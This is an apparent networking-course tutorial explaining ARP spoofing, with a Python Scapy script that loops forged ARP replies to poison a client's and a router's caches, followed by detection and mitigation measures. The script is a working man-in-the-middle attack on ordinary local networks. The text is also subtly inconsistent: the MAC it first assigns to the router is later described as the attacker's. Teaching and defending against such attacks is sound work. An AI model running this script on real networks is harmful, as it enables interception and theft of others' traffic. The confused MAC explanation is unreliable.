ARP spoofing works by tricking devices on a local network into thinking the attacker’s machine is the legitimate gateway. This allows the attacker to intercept, modify, or even drop traffic intended for other destinations.

Let’s see it in action. Imagine this simple network:

[Client A] <---> [Router] <---> [Attacker]

Normally, when Client A wants to send data to the internet, it sends it to the Router’s MAC address. The Router then forwards it.

With ARP spoofing, the Attacker floods the network with ARP reply packets. These packets tell Client A: "Hey, the MAC address for the Router’s IP is actually my MAC address." Simultaneously, it tells the Router: "Hey, the MAC address for Client A’s IP is actually my MAC address."

# On the Attacker machine (using Scapy for Python)

from scapy.all import *

# Define target IP and gateway IP
target_ip = "192.168.1.100"  # Client A's IP
gateway_ip = "192.168.1.1"   # Router's IP

# Get MAC addresses of target and gateway (this is crucial for the spoofing)
# In a real scenario, you'd need to know these or discover them.
# For demonstration, let's assume we know them.
# target_mac = get_mac(target_ip) # Scapy function to get MAC
# gateway_mac = get_mac(gateway_ip) # Scapy function to get MAC

# For this example, we'll use placeholder MACs.
# In reality, you'd resolve these via ARP.
target_mac = "00:11:22:33:44:55" # Hypothetical MAC of Client A
gateway_mac = "AA:BB:CC:DD:EE:FF" # Hypothetical MAC of Router

# Craft ARP packets
# Packet 1: Tell Client A that the Router's IP is at the Attacker's MAC
arp_response_to_client = ARP(pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, op=2)
# Packet 2: Tell the Router that Client A's IP is at the Attacker's MAC
arp_response_to_router = ARP(pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, op=2)

# Send packets continuously
while True:
    send(arp_response_to_client)
    send(arp_response_to_router)
    time.sleep(2) # Send every 2 seconds to keep the ARP cache poisoned

After this script runs, Client A’s ARP cache will have an entry like: 192.168.1.1 is at AA:BB:CC:DD:EE:FF (the Attacker’s MAC). And the Router’s ARP cache will have an entry like: 192.168.1.100 is at AA:BB:CC:DD:EE:FF (the Attacker’s MAC).

Now, when Client A sends traffic to the Router, it goes to the Attacker. When the Router sends traffic to Client A, it also goes to the Attacker. The Attacker can then choose to forward this traffic (acting as a Man-in-the-Middle) or drop it, or even modify it.

This attack exploits the fundamental trust inherent in the ARP protocol. ARP is designed for speed and efficiency on local networks, so it doesn’t have built-in authentication. When a device receives an ARP reply, it immediately updates its ARP cache without verifying the sender’s identity. This makes it vulnerable to malicious actors who can simply broadcast falsified ARP messages. The attacker’s goal is to poison the ARP cache of devices on the network, forcing them to associate IP addresses with the attacker’s MAC address instead of the actual hardware addresses of the gateway or other hosts.

The impact is that the attacker gains a direct line to traffic that doesn’t belong to them. They can sniff passwords, capture sensitive data, inject malicious code into web pages, or disrupt communication entirely. This is often a precursor to more advanced attacks, like session hijacking or deploying malware.

To prevent this, you’d typically implement ARP spoofing detection and mitigation. This involves monitoring ARP traffic for suspicious activity. Tools can look for multiple MAC addresses claiming to be the same IP, or for gratuitous ARPs that don’t seem to correspond to legitimate network changes. Static ARP entries for critical devices like the router can also be configured, though this is often impractical in dynamic environments.

A deeper defense mechanism is to use network segmentation and VLANs to limit the broadcast domain, making it harder for an attacker to reach all the necessary targets. Additionally, protocols like Dynamic ARP Inspection (DAI) on managed switches can validate ARP packets by comparing them against DHCP snooping bindings, effectively preventing spoofed ARP requests from being honored.

The most surprising thing about ARP spoofing is how little it relies on complex cryptography or exploiting zero-day vulnerabilities; its power comes from leveraging the inherent design of a foundational network protocol that prioritizes speed over security.

The next problem you’ll encounter is figuring out how to detect and block these spoofing attempts in real-time.

Want structured learning?

Take the full Computer Networking course →